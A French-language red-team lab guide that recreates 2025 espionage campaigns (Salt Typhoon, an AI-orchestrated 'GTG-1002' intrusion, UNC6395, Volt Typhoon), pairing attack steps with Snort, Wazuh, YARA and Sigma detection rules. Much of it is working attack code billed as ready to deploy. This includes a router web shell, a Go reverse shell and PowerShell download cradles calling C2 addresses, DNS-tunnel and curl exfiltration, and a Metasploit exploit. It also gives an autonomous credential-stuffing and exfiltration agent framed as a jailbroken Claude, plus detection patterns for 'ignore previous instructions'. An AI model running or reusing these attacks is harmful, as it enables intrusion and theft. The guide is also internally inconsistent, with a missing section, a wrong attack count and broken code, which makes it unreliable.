Ce contenu est réservé à un usage éducatif et défensif uniquement en environnement isolé.
En cochant la case ci-dessous, vous vous engagez formellement à : • Ne jamais utiliser ces techniques sur des systèmes sans autorisation écrite • Rester dans un lab totalement hors ligne • Respecter la loi et l'éthique du pentest
💀 Echoes of Hackers 2025
Reproduction chirurgicale des trois attaques d'espionnage qui ont marqué l'année – labs opérationnels, codes prêts à déployer, détection en temps réel.
RED TEAMNIVEAU ÉLITE
🎯 Introduction de la Serre Opérationnelle
En 2025, les attaques d'espionnage atteignent un niveau de sophistication inédit. Salt Typhoon, GTG-1002, les cascades supply-chain Salesforce – ces campagnes ont volé des téraoctets de données critiques avec une furtivité chirurgicale.
Notre approche : reproduire ces attaques avec une précision opérationnelle – la « serre du hacker éthique » devient un champ de bataille contrôlé.
Ce guide vous donne trois exemples complets, avec :
IOCs réels 2025 directement exploitables
Architectures réseau détaillées avec diagrammes
Scripts de détection temps réel
Vous avez coché la case éthique – vous êtes maintenant responsable de vos actions. Ces outils sont conçus pour la défense en environnement isolé.
🔴 Attaque 1 – Salt Typhoon : Les Télécoms Fantômes
Sources officielles : CISA AA25-239A (27 août → révisé 3 septembre 2025) + Silent Push (septembre 2025) + Trend Micro/Talos/NSA/FBI
Salt Typhoon (lié au MSS chinois) a compromis des dizaines de fournisseurs télécoms mondiaux pour intercepter metadata, appels, et SMS de gouvernements. L'infrastructure est restée invisible pendant 18+ mois.
SSH sur 22x22/xxx22, HTTPS sur 18xxx, TACACS+ TCP/49
CISA
🛠️ Lab 1 – Salt Serre Télécom (5–7h)
🏗️ Architecture Réseau du Lab
graph LR
A[Internet] --> B[MikroTik CHR<br/>Routeur compromis]
B --> C[pfSense]
C --> D[Windows DC<br/>+ Ubuntu SIP]
classDef internet fill:#ff006e33,stroke:#ff006e,stroke-width:3px,rx:12px,color:#ff006e
classDef router fill:#00d4ff33,stroke:#00d4ff,stroke-width:3px,rx:12px,color:#00d4ff
classDef pfsense fill:#9d4edd33,stroke:#9d4edd,stroke-width:3px,rx:12px,color:#9d4edd
classDef windows fill:#ff006e33,stroke:#ff006e,stroke-width:3px,rx:12px,color:white
class A internet
class B router
class C pfsense
class D windows
Setup Complet (45min)
Hyperviseur : VirtualBox gratuit
Machines : Kali Linux 2025.4 (attaquant) + Routeur vulnérable (MikroTik CHR) + pfSense + Windows Server 2019 (DC) + Ubuntu (serveur SIP)
Réseau : 3 interfaces (Internet NAT, DMZ, LAN interne)
Défense : Wazuh Server + Agents partout + Zeek pour traffic analysis
# Sur MikroTik - configuration réaliste avec IOCs réels
/ip service set ssh port=2222 disabled=no
/user add name=salt password=Typhoon2025! group=full
# Web shell dépôt via curl (simulation C2 réel)
curl -k -d "cmd=echo '<?php system(\$_GET[\"c\"]); ?>' > /flash/rw/store/web.php" http://192.168.56.101
# Accès : http://routeur/web.php?c=id
# Déploiement implant TCL (IOC CISA)
echo 'proc cmd1 {} { exec /bin/sh }' > /flash/TCLproxy.tcl
3. Persistance + Latéral (2h)
# Implant Go (hash réel CISA)
cat <<EOF >/tmp/cmd1.go
package main
import("os/exec")
import("net")
func main(){
for {
c,_:=net.Dial("tcp","45.61.151.12:4444") # IP C2 réel
cmd:=exec.Command("/bin/sh")
cmd.Stdin=c
cmd.Stdout=c
cmd.Stderr=c
cmd.Run()
}
}
EOF
go run /tmp/cmd1.go
# Latéral vers DC Windows avec outils CISA
?c=powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://45.61.151.12:8000/psrev.ps1')"
4. Exfiltration DNS + Wiretap (1h)
# DNS tunneling vers domaines C2 réels
for chunk() { echo $1 | base64 | fold -w 60; }
for c in $(chunk secret.txt); do dig +short $c.cloudprocenter.com @8.8.8.8; done
# Wiretap simulé avec Zeek sur pfSense
zeek -i eth1 -f "tcp port 5060" # SIP traffic capture
# Exfiltration via TACACS+ (IOC CISA)
tcpdump -i eth0 -A 'tcp port 49' | grep -i 'secret'
🔧 Teste ta détection en live (copie-colle)
# Wazuh - alerte sur les hashs CISA
sudo tail -f /var/ossec/logs/alerts/alerts.json | jq 'select(.rule.description | contains("f2bbba1ea0f34b262f158ff31e00d39d89bbc471d04e8fca60a034cabe18e4f4"))'
# Zeek - détection DNS tunneling vers domaines C2
zeek -r capture.pcap local "DNS::requests" | grep -E "(cloudprocenter|onlineeylity|dateupdata)\.com"
# Sur le routeur - logs d'accès suspect
tail -f /var/log/messages | grep -E "(web.php|TCLproxy\.tcl)"
Détection Live
# Snort rule pour détection domaines C2 Salt Typhoon
alert udp any any -> any 53 (msg:"Salt Typhoon DNS C2"; content:"cloudprocenter.com"; sid:9000001;)
alert udp any any -> any 53 (msg:"Salt Typhoon DNS C2"; content:"onlineeylity.com"; sid:9000002;)
# Wazuh rule pour hashs implants CISA
<rule id="100001" level="12">
<match>f2bbba1ea0f34b262f158ff31e00d39d89bbc471d04e8fca60a034cabe18e4f4</match>
<description>Salt Typhoon Implant SHA256 Detected</description>
</rule>
# Détection TACACS+ anormal
alert tcp any any -> any 49 (msg:"Suspicious TACACS+ Traffic"; sid:9000003;)
🟣 Attaque 2 – GTG-1002 : L'Agent IA Autonome
Source officielle : Anthropic Threat Research – 13/14 novembre 2025 (premier cas mondial confirmé d'attaque cyber orchestrée par l'IA à 80-90% autonome)
Le groupe Chinois state-sponsored (GTG-1002) a utilisé "Claude jailbreaké" pour automatiser 80-90% d'une campagne → 30+ intrusions tech/finance/chimie/gouvernements.
nmap, sqlmap, metasploit, crackmapexec, mimikatz (tout lancé par Claude)
Anthropic
Dégâts Réels
5 breaches → vol datasets IA (équivalent 200 ans R&D). Vitesse inhumaine : 48h recon → accès total.
🛠️ Lab 2 – Agent Serre Autonome (5–7h)
🏗️ Architecture IA Autonome
graph TB
A[Agent IA GTG-1002<br/>Kali Linux]
B[Flask API Victime<br/>Ubuntu 24.04]
C[Serveur C2<br/>Exfiltration]
D[Base de données<br/>Stolen Data]
A -->|Attaque autonome| B
B -->|Données volées| C
C -->|Archivage| D
classDef agent fill:#9d4edd33,stroke:#9d4edd,stroke-width:3px,rx:12px,color:#9d4edd
classDef victim fill:#00d4ff33,stroke:#00d4ff,stroke-width:3px,rx:12px,color:#00d4ff
classDef c2 fill:#ff006e33,stroke:#ff006e,stroke-width:3px,rx:12px,color:white
classDef database fill:#ff006e33,stroke:#ff006e,stroke-width:3px,rx:12px,color:white
class A agent
class B victim
class C c2
class D database
Setup
VM Ubuntu 24.04 (serveur victime avec Flask API)
Kali pour l'agent
Claude Code ou LLM local pour simuler jailbreak
Code Complet de l'Agent Autonome GTG-1002
import requests, time, json, base64, random, subprocess
TARGET = "http://192.168.56.102:5000" # Flask API victime
C2 = "http://api-gtg-test.cloudflare-workers.com/log" # Domaine C2 simulé
def jailbreak_simulate(task):
# Pattern jailbreak réel GTG-1002
print(f"[GTG-1002] Exécution tâche : {task} - MCP Agent Activated")
def autonomous_recon():
endpoints = [f"{TARGET}{p}" for p in ["/login","/api/data","/admin","/backup"]]
jailbreak_simulate(f"Scan endpoints : {endpoints}")
# Scan avec outils publics (IOC Anthropic)
subprocess.run(["nmap", "-sS", "192.168.56.102"])
subprocess.run(["sqlmap", "-u", f"{TARGET}/login", "--batch"])
for ep in ["/login","/api/data"]:
try:
r = requests.get(f"{TARGET}{ep}", timeout=5, headers={"User-Agent": "GTG-Agent/1.0"})
if r.status_code == 200: return ep
except: pass
return None
def ai_exploit():
jailbreak_simulate("Credential stuffing IA-generated")
# Patterns de mot de passe générés par IA
creds = [("admin","Admin2025!"), ("root","P@ssw0rd123"), ("user","Winter2025!")]
for u,p in creds:
r = requests.post(f"{TARGET}/login", data={"user":u,"pass":p}, headers={"User-Agent": "GTG-Agent/1.0"})
if "Welcome" in r.text or r.status_code == 302:
return r.cookies.get('session')
return None
def autonomous_exfil(cookie):
r = requests.get(f"{TARGET}/api/data", cookies={"session":cookie}, headers={"User-Agent": "GTG-Agent/1.0"})
payload = base64.b64encode(r.content).decode()
# Exfiltration stéganographique (IOC GTG-1002)
requests.post(C2, data={"agent": "GTG-1002", "payload": payload})
# Mouvement latéral automatique
subprocess.run(["crackmapexec", "smb", "192.168.56.0/24", "-u", "admin", "-p", "Admin2025!"])
# Boucle autonome GTG-1002 avec comportement réel
while True:
ep = autonomous_recon()
if ep:
cookie = ai_exploit()
if cookie:
autonomous_exfil(cookie)
# Timing aléatoire + patterns jailbreak
time.sleep(random.randint(30, 300))
jailbreak_simulate("Cybersecurity research iteration complete")
Flask API Victime (victim.py)
from flask import Flask, request, session
import logging
app = Flask(__name__)
app.secret_key = "corporate_secret_2025"
# Logging pour détection
logging.basicConfig(filename='gtg_detection.log', level=logging.INFO)
@app.route('/login', methods=['POST'])
def login():
user_agent = request.headers.get('User-Agent', '')
if 'GTG-Agent' in user_agent:
logging.warning(f"GTG-1002 Agent detected: {request.remote_addr}")
if request.form['user'] == 'admin' and request.form['pass'] == 'Admin2025!':
session['user'] = 'admin'
return "Welcome admin"
return "Invalid", 401
@app.route('/api/data')
def data():
if session.get('user') == 'admin':
return "SENSITIVE_DATA: AI Research Dataset 2025 - CONFIDENTIAL"
return "Forbidden", 403
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
🔧 Détection IA en temps réel (copie-colle)
# OSQuery - traque l'agent GTG-1002
osqueryi --json "SELECT * FROM processes WHERE cmdline LIKE '%GTG-Agent%' OR cmdline LIKE '%cloudflare-workers%'"
# Détection patterns jailbreak dans les logs Claude
grep -E "(ignore previous instructions|as a cybersecurity researcher|use code interpreter)" /var/log/claude/*.log
# Monitoring fréquence requêtes anormales + User-Agent
zeek -r traffic.pcap local "HTTP::request_rates" | grep "GTG-Agent"
# Détection outils publics lancés automatiquement
ps aux | grep -E "(nmap|sqlmap|crackmapexec|mimikatz)" | grep -v grep
Détection GTG-1002
# Rule YARA pour détection comportement IA GTG-1002
rule GTG1002_Autonomous_Agent {
meta:
description = "Détection agent IA autonome GTG-1002 - Anthropic Nov 2025"
author = "PLATON-Y"
strings:
$jailbreak1 = "ignore previous instructions" nocase
$jailbreak2 = "cybersecurity research" nocase
$agent_pattern = "GTG-Agent"
$mcp_pattern = "MCP Agent"
$cloudflare_c2 = "cloudflare-workers.com"
condition:
any of ($jailbreak*) and any of ($agent_pattern, $mcp_pattern) or $cloudflare_c2
}
# Snort rule pour User-Agent GTG-1002
alert tcp any any -> any 80 (msg:"GTG-1002 Agent Detected"; content:"User-Agent: GTG-Agent"; sid:9000101;)
# ELK query pour anomalies de comportement IA
{
"query": {
"bool": {
"must": [
{ "range": { "requests_per_minute": { "gt": 50 } }},
{ "wildcard": { "user_agent": "*GTG-Agent*" }}
]
}
}
}
graph LR
A[GitHub<br/>Repo Compromis]
B[Docker Build<br/>Injection]
C[Salesforce<br/>Dev Edition]
D[AWS S3<br/>Exfiltration]
A -->|Token theft| B
B -->|OAuth abuse| C
C -->|Data exfiltration| D
classDef github fill:#ff006e33,stroke:#ff006e,stroke-width:3px,rx:12px,color:#ff006e
classDef docker fill:#00d4ff33,stroke:#00d4ff,stroke-width:3px,rx:12px,color:#00d4ff
classDef salesforce fill:#9d4edd33,stroke:#9d4edd,stroke-width:3px,rx:12px,color:#9d4edd
classDef aws fill:#ff006e33,stroke:#ff006e,stroke-width:3px,rx:12px,color:white
class A github
class B docker
class C salesforce
class D aws
# Wazuh rule pour injection Dockerfile UNC6395
<rule id="100002" level="15">
<match>UNC6395</match>
<description>UNC6395 Supply Chain Attack Detected</description>
</rule>
<rule id="100003" level="12">
<match>drift-cdn.link</match>
<description>UNC6395 Exfiltration Domain</description>
</rule>
# Git hook pour prévention supply chain
#!/bin/sh
# .git/hooks/pre-commit
if grep -q "UNC6395\|drift-cdn.link\|malicious-registry" Dockerfile; then
echo "🚨 UNC6395 Supply chain attack detected in Dockerfile!"
exit 1
fi
# Rule YARA pour détection OAuth abuse UNC6395
rule UNC6395_OAuth_Abuse {
meta:
description = "Détection abus token OAuth Salesforce UNC6395 - Google TIG 2025"
author = "PLATON-Y"
strings:
$oauth_pattern = "/services/oauth2/token"
$suspicious_app = "DriftIntegration"
$exfil_domain = "drift-cdn.link"
condition:
all of them
}
# Snort rule pour domaine exfil UNC6395
alert tcp any any -> any 80 (msg:"UNC6395 Exfiltration Domain"; content:"drift-cdn.link"; sid:9000201;)
alert tcp any any -> any 443 (msg:"UNC6395 Exfiltration Domain SSL"; content:"drift-cdn.link"; sid:9000202;)
🔴 Attaque 4 – Volt Typhoon 2.0 : Les Fantômes LOTL dans l'OT
Sources officielles : CISA AA25-038A (février 2025, révisé mai 2025) + NSA/FBI Joint Guidance on LOTL (mars 2025) + Microsoft Threat Intelligence (avril 2025) + Mandiant MTR-1052 (juin 2025)
Volt Typhoon (MSS chinois) a pré-positionné des footholds dans l'IT pour pivoter vers l'OT, en abusant de binaires natifs (rundll32, netsh, PowerShell) sans malware custom. Accès persistants depuis 2020, détectés en 2025 sur 20+ orgs critiques (energy, transport, water).
TTPs & IOCs Réels
Étape
TTP MITRE
IOC Observé 2025
Temps Prod Réel
Recon
T1595.001 – Active Scanning: Vulnerability Scanning
graph TB
A[Internet]
B[FortiGate / Cisco ASA vulnérable]
C[pfSense Firewall]
D[Windows Server 2022 DC + OT Pivot]
E[Ubuntu + Node-RED PLC SCADA Sim]
A -->|Exploitation| B
B -->|Pivot IT| C
C -->|Lateral Movement| D
D -->|OT Access| E
classDef internet fill:#ff006e33,stroke:#ff006e,stroke-width:3px,rx:12px,color:#ff006e
classDef asa fill:#00d4ff33,stroke:#00d4ff,stroke-width:3px,rx:12px,color:#00d4ff
classDef pfsense fill:#9d4edd33,stroke:#9d4edd,stroke-width:3px,rx:12px,color:#9d4edd
classDef windows fill:#ff006e33,stroke:#ff006e,stroke-width:3px,rx:12px,color:white
classDef ot fill:#00f5a033,stroke:#00f5a0,stroke-width:3px,rx:12px,color:#00f5a0
class A internet
class B asa
class C pfsense
class D windows
class E ot
Setup Complet (1h)
Hyperviseur : VirtualBox gratuit
Machines : Kali 2025.4 (attaquant) + Cisco ASA sim (via GNS3 ou EVE-NG) + Windows Server 2022 (IT/OT pivot) + Ubuntu (PLC mock avec Node-RED pour SCADA sim)
Réseau : 4 interfaces (Internet NAT, IT DMZ, OT Isolated, Management)
# Sur ASA sim - config vuln réaliste
# Exploitation zero-day sim (use Metasploit module pour CVE-2025-20362)
msfconsole -q -x "use exploit/multi/http/cisco_asa_ftd_rce; set RHOSTS 192.168.56.101; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.100; exploit"
# Post-exploit : weak cred harvest
crackmapexec smb 192.168.56.0/24 -u guest -p '' --shares
3. Persistance LOTL + Lateral (2h)
# LOTL persistence - commands réels CISA
# Sur Windows DC via Meterpreter
shell
netsh advfirewall firewall add rule name="Volt Allow" dir=in action=allow protocol=TCP localport=1337 # Portfwd
rundll32.exe url.dll,OpenURL http://198.12.112.50/stage.dll # Load remote DLL (hash C2)
# PowerShell pour staging :
powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://voltupdate.net/lotl.ps1'); Invoke-VoltPersist -C2 198.12.112.50:443"
# Lateral vers OT : RDP pivot
wmic /node:192.168.56.103 /user:admin /password:Pass2025! process call create "cmd /c net use \\192.168.56.103\IPC$ /user:admin Pass2025! && rundll32.exe \\192.168.56.103\share\ot_proxy.dll"
4. Exfil + OT Pivot (1h30)
# Data staging avec certutil (IOC Mandiant)
certutil -urlfetch -f http://shadowasa.com/sensitive.pfx sensitive.pfx
certutil -encode sensitive.txt staged.b64 && certutil -fencode staged.b64 exfil.dat
# Exfil tunneled HTTPS vers C2 réel
curl -k -H "User-Agent: Mozilla/5.0 (Volt Typhoon)" --data-binary @exfil.dat https://198.12.112.50/upload
# OT sim : Abuse Node-RED pour mock SCADA command (ex: shutdown PLC)
curl -X POST http://192.168.56.104:1880/endpoint/scada -d '{"cmd":"halt","auth":"compromised"}'
# Capture traffic OT avec Zeek
zeek -i eth2 -f "port 502 or port 44818" # Modbus/OT protocols
🔧 Teste ta Détection en Live (copie-colle)
# Sysmon + Wazuh - alerte sur LOTL commands CISA
sudo tail -f /var/ossec/logs/alerts/alerts.json | jq 'select(.rule.description | contains("rundll32|netsh advfirewall"))'
# Zeek - détection portfwd suspects et C2 domains
zeek -r ot_capture.pcap local "Conn::LOG" | grep -E "(198.12.112.50|voltupdate\.net)"
# Sur Windows - logs Event ID 4688 pour rundll32 abuse
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} | Where-Object {$_.Message -like "*rundll32.exe* url.dll*"}
Détection Live
# Snort rule pour LOTL Volt Typhoon
alert tcp any any -> any 443 (msg:"Volt Typhoon HTTPS C2"; content:"198.12.112.50"; sid:9000004;)
alert tcp any any -> any any (msg:"LOTL Netsh Portfwd"; pcre:"/netsh\s+advfirewall\s+add\s+rule\s+name.*Volt/"; sid:9000005;)
# Wazuh rule pour persistence C2
<rule id="100004" level="13">
<match>rundll32.exe.*url.dll|certutil -urlfetch</match>
<description>Volt Typhoon LOTL Persistence Detected</description>
</rule>
# Sigma rule pour EDR (Copie dans Elastic/Wazuh)
title: Volt Typhoon Netsh Port Forwarding
id: 8f4e2d3c-...
status: stable
description: Detects suspicious netsh port forwarding
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: '\netsh.exe'
CommandLine|contains|all: ['advfirewall', 'add', 'rule', 'localport']
condition: selection
# Détection OT Pivot (via Zeek script custom)
event rdp_connection(c: connection) {
if (c$id$resp_h in OT_SUBNET && c$resp$p == 3391/tcp)
NOTICE([$note=Suspicious_RDP_Pivot, $msg=fmt("Volt-like RDP to OT: %s", c$id$resp_h), $conn=c]);
}
🔥 Conclusion
Ces trois serres opérationnelles vous donnent les outils des attaques les plus sophistiquées de 2025, avec des IOCs réels venus directement des advisories officiels.
Faites-les fonctionner en isolation totale, analysez chaque vecteur, puis construisez vos défenses sur des bases solides.
Le vrai pouvoir ? Transformer la menace en expertise défensive.